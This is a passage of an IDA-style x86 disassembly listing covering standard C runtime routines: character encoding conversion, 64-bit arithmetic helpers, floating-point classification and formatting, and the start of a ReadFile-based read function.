B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44D6DB proc near ; CODE XREF: sub_44C6AB+9Bp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1Ch push ebx cmp off_411928, 0 jnz loc_44D7C2 mov eax, [ebp+arg_0] mov [ebp+var_8], eax cmp [ebp+arg_0], 0 jnz short loc_44D716 mov eax, [ebp+arg_8] mov ecx, dword_4101BC mov ebx, dword_4101C0 mov [eax], ecx mov [eax+4], ebx xor eax, eax jmp loc_44D918 ; --------------------------------------------------------------------------- loc_44D716: ; CODE XREF: sub_44D6DB+1Ej test [ebp+arg_4], 0FF80h jnz short loc_44D736 mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx movzx edx, [ebp+arg_4] mov [eax], dl mov [ebp+var_4], 0 jmp short loc_44D7AF ; --------------------------------------------------------------------------- loc_44D736: ; CODE XREF: sub_44D6DB+41j test [ebp+arg_4], 0F800h jnz short loc_44D75F mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx movzx edx, [ebp+arg_4] sar edx, 6 or edx, 0C0h mov [eax], dl mov [ebp+var_4], 1 jmp short loc_44D7AF ; --------------------------------------------------------------------------- loc_44D75F: ; CODE XREF: sub_44D6DB+61j mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx movzx edx, [ebp+arg_4] sar edx, 0Ch and edx, 0Fh or edx, 0E0h mov [eax], dl mov [ebp+var_4], 2 jmp short loc_44D7AF ; --------------------------------------------------------------------------- loc_44D783: ; CODE XREF: sub_44D6DB+D8j mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov edx, [ebp+var_4] dec edx mov [ebp+var_4], edx movzx ecx, [ebp+arg_4] mov [ebp+var_C], ecx lea ecx, [edx+edx*2] add ecx, ecx mov edx, [ebp+var_C] sar edx, cl and edx, 3Fh or edx, 80h mov [eax], dl loc_44D7AF: ; CODE XREF: sub_44D6DB+59j ; sub_44D6DB+82j ... cmp [ebp+var_4], 0 jg short loc_44D783 mov eax, [ebp+var_8] mov edx, [ebp+arg_0] sub eax, edx jmp loc_44D918 ; --------------------------------------------------------------------------- loc_44D7C2: ; CODE XREF: sub_44D6DB+Ej mov eax, [ebp+arg_8] movzx eax, word ptr [eax+6] mov byte ptr [ebp+var_4+3], al mov [ebp+var_10], 0 mov [ebp+var_C], 0 mov [ebp+var_8], 0 cmp [ebp+arg_0], 0 jnz short loc_44D80D mov eax, [ebp+arg_8] mov ecx, dword_4101BC mov ebx, dword_4101C0 mov [eax], ecx mov [eax+4], ebx mov eax, off_411928 movzx eax, word ptr [eax] and eax, 0F00h jmp loc_44D918 ; --------------------------------------------------------------------------- loc_44D80D: ; CODE XREF: sub_44D6DB+10Aj ; sub_44D6DB+229j mov al, byte ptr [ebp+var_4+3] cmp al, 10h jnb short loc_44D853 movzx eax, al mov eax, off_411968[eax*4] mov [ebp+var_18], eax test eax, eax jz short loc_44D853 movzx eax, byte_4118A4 cmp [ebp+var_8], eax jge short loc_44D853 mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax cmp eax, 0FF0h jge short loc_44D853 movzx eax, byte ptr [ebp+arg_4] mov edx, [ebp+var_18] mov ax, [edx+eax*2] mov [ebp+var_12], ax test ax, ax jnz short loc_44D866 loc_44D853: ; CODE XREF: sub_44D6DB+137j ; sub_44D6DB+148j ... call sub_449B9B mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_44D918 ; --------------------------------------------------------------------------- loc_44D866: ; CODE XREF: sub_44D6DB+176j movzx eax, [ebp+var_12] mov edx, eax and edx, 0F00h sar edx, 8 mov byte ptr [ebp+var_4+3], dl test eax, 8000h jz short loc_44D892 movzx eax, [ebp+arg_4] and eax, 0FFFFFF00h movzx edx, byte ptr [ebp+var_12] or eax, edx mov [ebp+arg_4], ax loc_44D892: ; CODE XREF: sub_44D6DB+1A2j test [ebp+var_12], 1000h jz short loc_44D8B4 movzx eax, [ebp+arg_4] mov edx, eax shl edx, 8 sar eax, 8 and eax, 0FFh or edx, eax mov ax, dx mov [ebp+arg_4], ax loc_44D8B4: ; CODE XREF: sub_44D6DB+1BDj test [ebp+var_12], 2000h jz short loc_44D8F8 mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx test [ebp+var_12], 0FFh jz short loc_44D8D6 movzx edx, [ebp+var_12] mov [ebp+var_1C], edx jmp short loc_44D8DD ; --------------------------------------------------------------------------- loc_44D8D6: ; CODE XREF: sub_44D6DB+1F0j movzx edx, [ebp+arg_4] mov [ebp+var_1C], edx loc_44D8DD: ; CODE XREF: sub_44D6DB+1F9j mov edx, [ebp+var_1C] mov ecx, [ebp+arg_0] mov [ecx+eax], dl test dl, dl jnz short loc_44D8F1 mov [ebp+var_10], 1 loc_44D8F1: ; CODE XREF: sub_44D6DB+20Dj mov [ebp+var_C], 0 loc_44D8F8: ; CODE XREF: sub_44D6DB+1DFj test [ebp+var_12], 4000h jnz short loc_44D90A cmp [ebp+var_10], 0 jz loc_44D80D loc_44D90A: ; CODE XREF: sub_44D6DB+223j mov edx, [ebp+arg_8] movzx eax, byte ptr [ebp+var_4+3] mov [edx+6], ax mov eax, [ebp+var_8] loc_44D918: ; CODE XREF: sub_44D6DB+36j ; sub_44D6DB+E2j ... pop ebx mov esp, ebp pop ebp retn sub_44D6DB endp ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44D92B proc near ; CODE XREF: sub_44C7FB+CFp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_4] or eax, eax jnz short loc_44D94C mov ecx, [esp+4+arg_0] mov eax, [esp+4+arg_C] xor edx, edx div ecx mov eax, [esp+4+arg_8] div ecx mov eax, edx xor edx, edx jmp short loc_44D99C ; --------------------------------------------------------------------------- loc_44D94C: ; CODE XREF: sub_44D92B+7j mov ecx, eax mov ebx, [esp+4+arg_0] mov edx, [esp+4+arg_C] mov eax, [esp+4+arg_8] loc_44D95A: ; CODE XREF: sub_44D92B+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_44D95A div ebx mov ecx, eax mul [esp+4+arg_4] xchg eax, ecx mul [esp+4+arg_0] add edx, ecx jb short loc_44D985 cmp edx, [esp+4+arg_C] ja short loc_44D985 jb short loc_44D98D cmp eax, [esp+4+arg_8] jbe short loc_44D98D loc_44D985: ; CODE XREF: sub_44D92B+4Aj ; sub_44D92B+50j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] loc_44D98D: ; CODE XREF: sub_44D92B+52j ; sub_44D92B+58j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] neg edx neg eax sbb edx, 0 loc_44D99C: ; CODE XREF: sub_44D92B+1Fj pop ebx retn 10h sub_44D92B endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44D9AB proc near ; CODE XREF: sub_44C7FB+116p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_44D9CC inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_44D9CC: ; CODE XREF: sub_44D9AB+Bj mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_44D9E8 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_44D9E8: ; CODE XREF: sub_44D9AB+27j or eax, eax jnz short loc_44DA04 mov ecx, [esp+0Ch+arg_0] mov eax, [esp+0Ch+arg_C] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_8] div ecx mov edx, ebx jmp short loc_44DA45 ; --------------------------------------------------------------------------- loc_44DA04: ; CODE XREF: sub_44D9AB+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_C] mov eax, [esp+0Ch+arg_8] loc_44DA12: ; CODE XREF: sub_44D9AB+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_44DA12 div ecx mov esi, eax mul [esp+0Ch+arg_4] mov ecx, eax mov eax, [esp+0Ch+arg_0] mul esi add edx, ecx jb short loc_44DA40 cmp edx, [esp+0Ch+arg_C] ja short loc_44DA40 jb short loc_44DA41 cmp eax, [esp+0Ch+arg_8] jbe short loc_44DA41 loc_44DA40: ; CODE XREF: sub_44D9AB+85j ; sub_44D9AB+8Bj dec esi loc_44DA41: ; CODE XREF: sub_44D9AB+8Dj ; sub_44D9AB+93j xor edx, edx mov eax, esi loc_44DA45: ; CODE XREF: sub_44D9AB+57j dec edi jnz short loc_44DA4F neg edx neg eax sbb edx, 0 loc_44DA4F: ; CODE XREF: sub_44D9AB+9Bj pop ebx pop esi pop edi retn 10h sub_44D9AB endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44DA5B proc near ; CODE XREF: sub_44C7FB+13Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_C] mov ecx, [esp+arg_4] or ecx, eax mov ecx, [esp+arg_0] jnz short loc_44DA74 mov eax, [esp+arg_8] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_44DA74: ; CODE XREF: sub_44DA5B+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_8] mul [esp+4+arg_4] add ebx, eax mov eax, [esp+4+arg_8] mul ecx add edx, ebx pop ebx retn 10h sub_44DA5B endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BFh, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44DA9B proc near ; CODE XREF: sub_44CA3B+5p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] movzx eax, word ptr [ecx+6] and eax, 7FF0h cmp eax, 7FF0h jnz short loc_44DADE test word ptr [ecx+6], 0Fh jnz short loc_44DACB cmp word ptr [ecx+4], 0 jnz short loc_44DACB cmp word ptr [ecx+2], 0 jnz short loc_44DACB cmp word ptr [ecx], 0 jz short loc_44DAD2 loc_44DACB: ; CODE XREF: sub_44DA9B+1Aj ; sub_44DA9B+21j ... mov edx, 2 jmp short loc_44DAD7 ; --------------------------------------------------------------------------- loc_44DAD2: ; CODE XREF: sub_44DA9B+2Ej mov edx, 1 loc_44DAD7: ; CODE XREF: sub_44DA9B+35j mov ax, dx movsx eax, ax retn ; --------------------------------------------------------------------------- loc_44DADE: ; CODE XREF: sub_44DA9B+12j movzx eax, word ptr [ecx+6] test eax, 0FFFF7FFFh jnz short loc_44DAFD cmp word ptr [ecx+4], 0 jnz short loc_44DAFD cmp word ptr [ecx+2], 0 jnz short loc_44DAFD cmp word ptr [ecx], 0 jz short loc_44DB01 loc_44DAFD: ; CODE XREF: sub_44DA9B+4Cj ; sub_44DA9B+53j ... or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_44DB01: ; CODE XREF: sub_44DA9B+60j xor eax, eax retn sub_44DA9B endp ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44DB0B proc near ; CODE XREF: sub_44CA4B+5Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_44E6EB add esp, 8 movsx eax, ax pop ebp retn sub_44DB0B endp ; --------------------------------------------------------------------------- db 90h db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44DB2B proc near ; CODE XREF: sub_44CA4B+200p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_44E78B add esp, 8 movsx eax, ax pop ebp retn sub_44DB2B endp ; --------------------------------------------------------------------------- db 90h db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44DB4B proc near ; CODE XREF: sub_44CA4B+20Bp ; sub_44CA4B+498p var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 sub esp, 0Ch fstcw [esp+0Ch+var_2] mov ax, [esp+0Ch+var_2] or ah, 0Ch mov [esp+0Ch+var_4], ax fldcw [esp+0Ch+var_4] fistp [esp+0Ch+var_C] fldcw [esp+0Ch+var_2] mov eax, dword ptr [esp+0Ch+var_C] mov edx, dword ptr [esp+0Ch+var_C+4] add esp, 0Ch retn sub_44DB4B endp ; --------------------------------------------------------------------------- db 90h db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44DB7B proc near ; CODE XREF: sub_44CA4B+4D6p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, ebx mov ecx, esi cdq idiv ecx mov [ebp+var_8], eax mov edx, esi imul edx, eax mov eax, ebx sub eax, edx mov [ebp+var_4], eax mov eax, [ebp+var_8] mov edx, [ebp+var_4] pop esi pop ebx mov esp, ebp pop ebp retn sub_44DB7B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44DBAB proc near ; CODE XREF: sub_44CA4B+64Cp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_12 = byte ptr -12h var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = word ptr 14h arg_10 = word ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx mov eax, off_4119D4 mov al, [eax] mov [ebp+var_1], al cmp [ebp+arg_C], 0 jg short loc_44DBD0 mov [ebp+arg_C], 1 mov [ebp+arg_8], offset dword_4101C8 loc_44DBD0: ; CODE XREF: sub_44DBAB+16j mov al, [ebp+arg_4] cmp al, 66h jz short loc_44DC04 cmp al, 46h jz short loc_44DC04 cmp al, 67h jz short loc_44DBE7 cmp al, 47h jnz loc_44DE4E loc_44DBE7: ; CODE XREF: sub_44DBAB+32j mov ax, [ebp+arg_10] cmp ax, 0FFFCh jl loc_44DE4E movsx eax, ax mov edx, [ebp+arg_0] cmp eax, [edx+2Ch] jge loc_44DE4E loc_44DC04: ; CODE XREF: sub_44DBAB+2Aj ; sub_44DBAB+2Ej add [ebp+arg_10], 1 mov al, [ebp+arg_4] cmp al, 67h jz short loc_44DC14 cmp al, 47h jnz short loc_44DC4F loc_44DC14: ; CODE XREF: sub_44DBAB+63j mov eax, [ebp+arg_0] test word ptr [eax+38h], 8 jnz short loc_44DC32 movsx edx, [ebp+arg_C] cmp edx, [eax+2Ch] jge short loc_44DC32 mov edx, [ebp+arg_0] movsx eax, [ebp+arg_C] mov [edx+2Ch], eax loc_44DC32: ; CODE XREF: sub_44DBAB+72j ; sub_44DBAB+7Bj mov eax, [ebp+arg_0] mov edx, [eax+2Ch] movsx ecx, [ebp+arg_10] sub edx, ecx mov [eax+2Ch], edx test edx, edx jge short loc_44DC4F mov edx, [ebp+arg_0] mov dword ptr [edx+2Ch], 0 loc_44DC4F: ; CODE XREF: sub_44DBAB+67j ; sub_44DBAB+98j cmp [ebp+arg_10], 0 jg loc_44DD1B mov eax, [ebp+arg_0] mov edx, [eax+1Ch] lea ecx, [edx+1] mov [eax+1Ch], ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov byte ptr [eax+edx], 30h mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jg short loc_44DC81 test word ptr [eax+38h], 8 jz short loc_44DC99 loc_44DC81: ; CODE XREF: sub_44DBAB+CCj mov eax, [ebp+arg_0] mov edx, [eax+1Ch] lea ecx, [edx+1] mov [eax+1Ch], ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov cl, [ebp+var_1] mov [eax+edx], cl loc_44DC99: ; CODE XREF: sub_44DBAB+D4j mov eax, [ebp+arg_0] movsx edx, [ebp+arg_10] neg edx cmp [eax+2Ch], edx jge short loc_44DCB3 mov eax, [ebp+arg_0] mov eax, [eax+2Ch] neg eax mov [ebp+arg_10], ax loc_44DCB3: ; CODE XREF: sub_44DBAB+FAj mov edx, [ebp+arg_0] movsx eax, [ebp+arg_10] neg eax mov [edx+20h], eax mov eax, [ebp+arg_0] movsx edx, [ebp+arg_10] mov ecx, [eax+2Ch] add edx, ecx mov [eax+2Ch], edx mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] cmp [eax+2Ch], edx jge short loc_44DCE4 mov eax, [ebp+arg_0] mov eax, [eax+2Ch] mov [ebp+arg_C], ax loc_44DCE4: ; CODE XREF: sub_44DBAB+12Dj movsx eax, [ebp+arg_C] mov edx, [ebp+arg_0] mov [edx+24h], eax push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx push eax call sub_448E2B add esp, 0Ch mov eax, [ebp+arg_0] mov edx, [eax+2Ch] movsx ecx, [ebp+arg_C] sub edx, ecx mov [eax+28h], edx jmp loc_44E040 ; --------------------------------------------------------------------------- loc_44DD1B: ; CODE XREF: sub_44DBAB+A9j mov ax, [ebp+arg_10] cmp [ebp+arg_C], ax jge short loc_44DD95 movsx eax, [ebp+arg_C] push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx push eax call sub_448E2B add esp, 0Ch mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] mov ecx, [eax+1Ch] add edx, ecx mov [eax+1Ch], edx mov edx, [ebp+arg_0] movsx eax, [ebp+arg_10] movsx ecx, [ebp+arg_C] sub eax, ecx mov [edx+20h], eax mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jg short loc_44DD72 test word ptr [eax+38h], 8 jz short loc_44DD87 loc_44DD72: ; CODE XREF: sub_44DBAB+1BDj mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] mov cl, [ebp+var_1] mov [eax+edx], cl mov eax, [ebp+arg_0] inc dword ptr [eax+24h] loc_44DD87: ; CODE XREF: sub_44DBAB+1C5j mov eax, [ebp+arg_0] mov edx, [eax+2Ch] mov [eax+28h], edx jmp loc_44E040 ; --------------------------------------------------------------------------- loc_44DD95: ; CODE XREF: sub_44DBAB+178j movsx eax, [ebp+arg_10] push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx push eax call sub_448E2B add esp, 0Ch mov eax, [ebp+arg_0] movsx edx, [ebp+arg_10] mov ecx, [eax+1Ch] add edx, ecx mov [eax+1Ch], edx mov ax, [ebp+arg_10] sub [ebp+arg_C], ax mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jg short loc_44DDDA test word ptr [eax+38h], 8 jz short loc_44DDF2 loc_44DDDA: ; CODE XREF: sub_44DBAB+225j mov eax, [ebp+arg_0] mov edx, [eax+1Ch] lea ecx, [edx+1] mov [eax+1Ch], ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov cl, [ebp+var_1] mov [eax+edx], cl loc_44DDF2: ; CODE XREF: sub_44DBAB+22Dj mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] cmp [eax+2Ch], edx jge short loc_44DE08 mov eax, [ebp+arg_0] mov eax, [eax+2Ch] mov [ebp+arg_C], ax loc_44DE08: ; CODE XREF: sub_44DBAB+251j movsx eax, [ebp+arg_C] push eax movsx eax, [ebp+arg_10] mov edx, [ebp+arg_8] add eax, edx push eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx push eax call sub_448E2B add esp, 0Ch mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] mov ecx, [eax+1Ch] add edx, ecx mov [eax+1Ch], edx mov eax, [ebp+arg_0] mov edx, [eax+2Ch] movsx ecx, [ebp+arg_C] sub edx, ecx mov [eax+20h], edx jmp loc_44E040 ; --------------------------------------------------------------------------- loc_44DE4E: ; CODE XREF: sub_44DBAB+36j ; sub_44DBAB+44j ... mov al, [ebp+arg_4] cmp al, 67h jz short loc_44DE59 cmp al, 47h jnz short loc_44DEA4 loc_44DE59: ; CODE XREF: sub_44DBAB+2A8j mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] cmp edx, [eax+2Ch] jge short loc_44DE77 test word ptr [eax+38h], 8 jnz short loc_44DE77 mov edx, [ebp+arg_0] movsx eax, [ebp+arg_C] mov [edx+2Ch], eax loc_44DE77: ; CODE XREF: sub_44DBAB+2B8j ; sub_44DBAB+2C0j mov eax, [ebp+arg_0] mov edx, [eax+2Ch] dec edx mov [eax+2Ch], edx test edx, edx jge short loc_44DE8F mov edx, [ebp+arg_0] mov dword ptr [edx+2Ch], 0 loc_44DE8F: ; CODE XREF: sub_44DBAB+2D8j xor eax, eax cmp [ebp+arg_4], 67h setnz al dec eax and eax, 20h add eax, 45h mov [ebp+arg_4], al jmp short loc_44DEBA ; --------------------------------------------------------------------------- loc_44DEA4: ; CODE XREF: sub_44DBAB+2ACj cmp [ebp+arg_4], 61h jnz short loc_44DEB0 mov [ebp+arg_4], 70h jmp short loc_44DEBA ; --------------------------------------------------------------------------- loc_44DEB0: ; CODE XREF: sub_44DBAB+2FDj cmp [ebp+arg_4], 41h jnz short loc_44DEBA mov [ebp+arg_4], 50h loc_44DEBA: ; CODE XREF: sub_44DBAB+2F7j ; sub_44DBAB+303j ... mov eax, [ebp+arg_0] mov edx, [eax+1Ch] lea ecx, [edx+1] mov [eax+1Ch], ecx mov eax, [ebp+arg_8] lea ecx, [eax+1] mov [ebp+arg_8], ecx mov ecx, [ebp+arg_0] mov ecx, [ecx+10h] mov al, [eax] mov [ecx+edx], al mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jg short loc_44DEEB test word ptr [eax+38h], 8 jz short loc_44DF03 loc_44DEEB: ; CODE XREF: sub_44DBAB+336j mov eax, [ebp+arg_0] mov edx, [eax+1Ch] lea ecx, [edx+1] mov [eax+1Ch], ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov cl, [ebp+var_1] mov [eax+edx], cl loc_44DF03: ; CODE XREF: sub_44DBAB+33Ej mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jle short loc_44DF66 mov ax, [ebp+arg_C] dec ax mov [ebp+arg_C], ax mov edx, [ebp+arg_0] movsx eax, ax cmp [edx+2Ch], eax jge short loc_44DF2B mov eax, [ebp+arg_0] mov eax, [eax+2Ch] mov [ebp+arg_C], ax loc_44DF2B: ; CODE XREF: sub_44DBAB+374j movsx eax, [ebp+arg_C] push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx push eax call sub_448E2B add esp, 0Ch mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] mov ecx, [eax+1Ch] add edx, ecx mov [eax+1Ch], edx mov eax, [ebp+arg_0] mov edx, [eax+2Ch] movsx ecx, [ebp+arg_C] sub edx, ecx mov [eax+20h], edx loc_44DF66: ; CODE XREF: sub_44DBAB+35Fj mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx mov [ebp+arg_8], eax lea edx, [eax+1] mov [ebp+arg_8], edx mov dl, [ebp+arg_4] mov [eax], dl cmp [ebp+arg_10], 0 jl short loc_44DF94 mov eax, [ebp+arg_8] lea edx, [eax+1] mov [ebp+arg_8], edx mov byte ptr [eax], 2Bh jmp short loc_44DFA4 ; --------------------------------------------------------------------------- loc_44DF94: ; CODE XREF: sub_44DBAB+3D9j mov eax, [ebp+arg_8] lea edx, [eax+1] mov [ebp+arg_8], edx mov byte ptr [eax], 2Dh neg [ebp+arg_10] loc_44DFA4: ; CODE XREF: sub_44DBAB+3E7j mov [ebp+var_8], 0 jmp short loc_44DFD6 ; --------------------------------------------------------------------------- loc_44DFAD: ; CODE XREF: sub_44DBAB+430j push 0Ah movsx eax, [ebp+arg_10] push eax call sub_44E9AB add esp, 8 mov [ebp+var_1C], eax mov [ebp+var_18], edx mov eax, [ebp+var_8] mov edx, [ebp+var_18] mov [ebp+eax+var_12], dl mov eax, [ebp+var_1C] mov [ebp+arg_10], ax inc [ebp+var_8] loc_44DFD6: ; CODE XREF: sub_44DBAB+400j cmp [ebp+arg_10], 0 jg short loc_44DFAD cmp [ebp+var_8], 2 jge short loc_44DFFA mov al, [ebp+arg_4] cmp al, 65h jz short loc_44DFEE cmp al, 45h jnz short loc_44DFFA loc_44DFEE: ; CODE XREF: sub_44DBAB+43Dj mov eax, [ebp+arg_8] lea edx, [eax+1] mov [ebp+arg_8], edx mov byte ptr [eax], 30h loc_44DFFA: ; CODE XREF: sub_44DBAB+436j ; sub_44DBAB+441j cmp [ebp+var_8], 0 jnz short loc_44E027 mov eax, [ebp+arg_8] lea edx, [eax+1] mov [ebp+arg_8], edx mov byte ptr [eax], 30h jmp short loc_44E027 ; --------------------------------------------------------------------------- loc_44E00E: ; CODE XREF: sub_44DBAB+480j mov eax, [ebp+arg_8] lea edx, [eax+1] mov [ebp+arg_8], edx mov edx, [ebp+var_8] dec edx mov [ebp+var_8], edx mov dl, [ebp+edx+var_12] add dl, 30h mov [eax], dl loc_44E027: ; CODE XREF: sub_44DBAB+453j ; sub_44DBAB+461j cmp [ebp+var_8], 0 jg short loc_44E00E mov eax, [ebp+arg_0] mov edx, [ebp+arg_8] mov ecx, [eax+1Ch] mov ebx, [eax+10h] add ecx, ebx sub edx, ecx mov [eax+24h], edx loc_44E040: ; CODE XREF: sub_44DBAB+16Bj ; sub_44DBAB+1E5j ... mov eax, [ebp+arg_0] movzx eax, word ptr [eax+38h] and eax, 14h cmp eax, 10h jnz short loc_44E083 mov eax, [ebp+arg_0] mov edx, [eax+14h] mov ecx, [eax+1Ch] add edx, ecx mov ecx, [eax+20h] add edx, ecx mov ecx, [eax+24h] add edx, ecx mov eax, [eax+28h] add eax, edx mov [ebp+var_8], eax mov eax, [ebp+arg_0] mov eax, [eax+34h] cmp [ebp+var_8], eax jge short loc_44E083 mov eax, [ebp+arg_0] mov edx, [eax+34h] sub edx, [ebp+var_8] mov [eax+18h], edx loc_44E083: ; CODE XREF: sub_44DBAB+4A2j ; sub_44DBAB+4CAj pop ebx mov esp, ebp pop ebp retn sub_44DBAB endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44E08B proc near ; CODE XREF: sub_44D0DB+348p ; DMN1:0044E406p var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov ebx, [ebp+arg_0] xor edi, edi mov eax, [ebp+arg_4] mov [ebp+var_C], eax cmp [ebp+arg_8], 0 jz short loc_44E0C0 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] test byte ptr [edx+eax+4], 2 jz short loc_44E0C7 loc_44E0C0: ; CODE XREF: sub_44E08B+18j xor eax, eax jmp loc_44E3B0 ; --------------------------------------------------------------------------- loc_44E0C7: ; CODE XREF: sub_44E08B+33j mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] add eax, edx test byte ptr [eax+4], 48h jz short loc_44E129 cmp byte ptr [eax+5], 0Ah jz short loc_44E129 mov eax, [ebp+var_C] lea edx, [eax+1] mov [ebp+var_C], edx mov edx, ebx and edx, 1Fh imul edx, 24h mov ecx, ebx sar ecx, 5 mov ecx, dword_41398C[ecx*4] mov dl, [ecx+edx+5] mov [eax], dl inc edi dec [ebp+arg_8] mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] mov byte ptr [edx+eax+5], 0Ah loc_44E129: ; CODE XREF: sub_44E08B+56j ; sub_44E08B+5Cj push 0 lea eax, [ebp+var_4] push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+var_C] push eax mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] mov eax, [edx+eax] push eax call dword_411E1C ; ReadFile test eax, eax jnz short loc_44E199 call dword_411CEC ; RtlGetLastWin32Error mov [ebp+var_10], eax cmp eax, 5 jnz short loc_44E17A call sub_449B9B mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp loc_44E3B0 ; --------------------------------------------------------------------------- loc_44E17A: ; CODE XREF: sub_44E08B+DAj cmp 